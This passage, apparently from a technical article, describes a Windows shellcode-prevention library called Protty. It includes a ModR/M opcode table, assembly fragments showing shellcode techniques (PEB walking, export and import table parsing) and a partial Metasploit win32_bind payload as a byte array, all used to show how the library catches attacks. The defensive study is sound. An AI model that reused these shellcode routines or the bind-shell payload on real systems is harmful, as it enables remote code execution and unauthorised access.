AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 82 A [disp32+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 83 A [disp32+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 84 A [disp32+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 85 A [disp32+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 86 A [disp32+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 87 A [disp32+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 88 A [disp32+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 89 A [disp32+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8A A [disp32+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8B A [disp32+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8C A [disp32+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8D A [disp32+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8E A [disp32+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 8F A [disp32+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 90 A [disp32+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 91 A [disp32+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 92 A [disp32+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 93 A [disp32+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 94 A [disp32+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 95 A [disp32+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 96 A [disp32+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 97 A [disp32+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 98 A [disp32+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 99 A [disp32+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9A A [disp32+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9B A [disp32+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9C A [disp32+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9D A [disp32+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9E A [disp32+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 9F A [disp32+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A0 A [disp32+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A1 A [disp32+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A2 A [disp32+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A3 A [disp32+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A4 A [disp32+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A5 A [disp32+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A6 A [disp32+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A7 A [disp32+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A8 A [disp32+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A9 A [disp32+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AA A [disp32+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AB A [disp32+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AC A [disp32+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AD A [disp32+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AE A [disp32+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AF A [disp32+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B0 A [disp32+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B1 A [disp32+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B2 A [disp32+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B3 A [disp32+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B4 A [disp32+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B5 A [disp32+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B6 A [disp32+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B7 A [disp32+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B8 A [disp32+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B9 A [disp32+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BA A [disp32+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BB A [disp32+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BC A [disp32+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BD A [disp32+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BE A [disp32+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BF A [disp32+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C0 A EAX/AX/AL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C1 A ECX/CX/CL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C2 A EDX/DX/DL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C3 A EBX/BX/BL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C4 A ESP/SP/AH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C5 A EBP/BP/CH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C6 A ESI/SI/DH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C7 A EDI/DI/BH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C8 A EAX/AX/AL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C9 A ECX/CX/CL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CA A EDX/DX/DL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CB A EBX/BX/BL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CC A ESP/SP/AH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CD A EBP/BP/CH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CE A ESI/SI/DH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CF A EDI/DI/BH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D0 A EAX/AX/AL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D1 A ECX/CX/CL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D2 A EDX/DX/DL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D3 A EBX/BX/BL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D4 A ESP/SP/AH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D5 A EBP/BP/CH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D6 A ESI/SI/DH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D7 A EDI/DI/BH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D8 A EAX/AX/AL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D9 A ECX/CX/CL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DA A EDX/DX/DL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DB A EBX/BX/BL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DC A ESP/SP/AH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DD A EBP/BP/CH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DE A ESI/SI/DH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DF A EDI/DI/BH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E0 A EAX/AX/AL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E1 A ECX/CX/CL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E2 A EDX/DX/DL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E3 A EBX/BX/BL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E4 A ESP/SP/AH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E5 A EBP/BP/CH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E6 A ESI/SI/DH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E7 A EDI/DI/BH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E8 A EAX/AX/AL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E9 A ECX/CX/CL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EA A EDX/DX/DL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EB A EBX/BX/BL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EC A ESP/SP/AH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A ED A EBP/BP/CH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EE A ESI/SI/DH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EF A EDI/DI/BH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F0 A EAX/AX/AL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F1 A ECX/CX/CL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F2 A EDX/DX/DL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F3 A EBX/BX/BL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F4 A ESP/SP/AH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F5 A EBP/BP/CH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F6 A ESI/SI/DH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F7 A EDI/DI/BH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F8 A EAX/AX/AL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F9 A ECX/CX/CL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FA A EDX/DX/DL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FB A EBX/BX/BL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FC A ESP/SP/AH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FD A EBP/BP/CH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FE A ESI/SI/DH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FF A EDI/DI/BH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
As you can see 03h covers "[EBX], EAX/AX/AL". And that's the thing we
needed.Now mechanism knows it should scan EAX and EBX registers and update
them if their values are "similiar" to address of "DECOYS". Of course the
register checking method could be more efficient (should also check more
opcodes etc. etc.) - maybe in next versions.
In the mechanism i have used the table listed above, anyway there is also
"another" ("primary") way to determine what registers are used. The way is
based on fact that ModR/M byte contains three fields of information (Mod,
Reg/Opcode, R/M). By checking bits of those entries we can determine what
registers are used by the instruction (surely interesting tables from
Intel manuals: "...Addressing Forms with the ModR/M Byte") I'm currently
working on disassembler engine, so all those codes related to "opcode
decoding" topic should be released in the nearest future. And probably if
Protty project will be continued i will exchange the z0mbie dissassembler
engine with my own, anyway his baby works very well.
If you are highly interrested in disassembling the instructions, check the
[8].
To see how it works, check following example:
;----------SNIP--------------------------------------------
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch] ; value changed by protector,ESI=DDDDDDDDh
lodsd ; load one dword <- causes exception
;----------SNIP--------------------------------------------
This example faults on "lodsd" instruction, because application is trying
to load 4 bytes from invalid location - ESI (because it was changed by
P2).
Prevention library takeovers the exception and checks the instruction.
This one is "lodsd" so instead of ModR/M byte (because there is no such
here) library checks the opcode. When it finds out it is "lodsd"
instruction, it scans and updates ESI. Finally the ESI (in this case) is
rewritten to 0241F28h (original) and the execution is continued including
the "BAD" instruction.
So that's how P2 works, a lot faster then its older brother P1.
--[ VI. Action - few samples of catched shellcodes
If you have studied descriptions of all of the mechanisms, it is
time to show where/when Protty prevents them.
Lets take a look at examples of all mechanisms described in paragraph IV.
PEB (Process Environment Block) parsing
---------------------------------------
;----------SNIP--------------------------------------------
mov eax,dword ptr fs:[30h] ; EAX is now PEB base
mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA
mov esi,dword ptr [eax+1ch] ; get the first entry
^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
---- [P1-I1]
mov ebx,[esi+08h] ; EBX=ntdll imagebase
^^^^^^^^^^^^^^^^^
|
------- [P2-I1]
<rest code of PEB parser>
;----------SNIP--------------------------------------------
- Description for P1
In this example Protty catches the shellcode when the instruction marked
as [P1-I1] is executed. Since Protty has protected the PEB_LDR_DATA
region (it's marked as PAGE_NOACCESS) all references to it will
cause an access violation which will be filtered by Protty.
Here, shellcode is trying to get first entry from PEB_LDR_DATA structure,
this causes an exception and this way shellcode is catched - attack
failed.
- Description for P2
The mechanism is being activated when [P2-I1] instruction is being
executed. ESI value is redirected to invalid location so every
reference to it cause an access violation exception, this is
filtered by the installed prevention mechanism - in short words:
attack failed, shellcode was catched.
searching for kernel in memory
------------------------------
I think here code is not needed, anyway when/where protty will act in
this case? As you probably remember from paragraph IV the
kernel search code works together with SEH (structured exception handler)
frame. Everytime shellcode tries invalid location SEH frame handles the
exception and the search procedure is continued. When Protty is active
shellcode doesn't have any "second chance" - what does it mean? It means
that when shellcode will check invalid location (by using SEH) the
exception will be filtered by Protty mechanism, in short words shellcode
will be catched - attack failed.
There are also some shellcodes that search the main shellcode in memory
also using SEH frames. Generally the idea is to develop small shellcode
which will only search for the main one stored somewhere in memory. Since
here SEH frames are also used, such type of shellcodes will be also
catched.
export section parsing
----------------------
We are assuming that the attacker has grabbed the imagebase in unknown
way :) (full code in IV-th chapter - i don't want to past it here)
;----------SNIP--------------------------------------------
; EAX=imagebase of kernel32.dll
xor ebp,ebp ; zero the counter
mov ebx,[eax+3ch] ; get pe header
add ebx,eax ; normalize
<...snip...>
loop_it:
mov edi,[ecx] ; get one name
add edi,eax ; normalize
cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :)
jne @l ; nope -> jump to @l
; yes it is
add esi,ebp ; add out counter
mov esi,[esi] ; get the address
^^^^^^^^^^^^^
|
---[I1]
add esi,eax ; normalize
int 3 ; ESI=address of GetProcAddress
@l:
<...snip...>
;----------SNIP--------------------------------------------
- Description for P1 and P2
Following example is being catched when [I1] instruction is being
executed - when it tries to read the address of GetProcAddress
from array with function addresses. Since function addresses array
is "protected" all references to it will cause access
violation exception, which will be filtered by the mechanism (like in
previous points). Shellcode catched, attack failed.
import section parsing
----------------------
;----------SNIP--------------------------------------------
;following example gets LoadLibraryA address from IAT
IMAGEBASE equ 00400000h
mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header
mov edi,[eax+80h] ; import RVA
^^^^^^^^^^^^^^^^^
|
----[I1]
add edi,ebx ; normalize
xor ebp,ebp
mov edx,[edi+10h] ; pointer to addresses
^^^^^^^^^^^^^^^^^
|
----[I2]
add edx,ebx ; normalize
<...snip...>
;----------SNIP--------------------------------------------
- Description for P1 and P2
After instruction marked as [I1] is executed, EDI should contain the
import section RVA, why should? because since the protection is
active import section RVA is faked. In next step (look at instruction
[I2]) this will cause access violation exception (because of the fact
that FAKED_IAT_RVA + IMAGEBASE = INVALID LOCATION) and the shellcode
will be catched. Attack failed also in this case.
There is also a danger that attacker can hardcode IAT RVA. For such
cases import section array of function names is also protected.
Look at following code:
;----------SNIP--------------------------------------------
<...snip...>
@loop:
mov eax,[esi]
^^^^^^^^^^^^^
|
--[I1]
add eax,ebx
add eax,2
cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?
<...snip...>
;----------SNIP--------------------------------------------
Instruction [I1] is trying to access memory which is not accessible
(protection mechanism changed it) and in the result of
this exception is generated. Protty filters the access violation
and kills the shellcode - this attack also failed.
And the last example, some shellcode from metasploit.com:
win32_bind by metasploit.com
----------------------------
EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub
(replace "data" with "data" from protty_example/sample_bo.c then
recompile and run)
unsigned char data[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
"\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
"\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
"\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
"\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
"\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
"\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
"\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
"\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
"\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
"\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
"\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9"
"\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4"
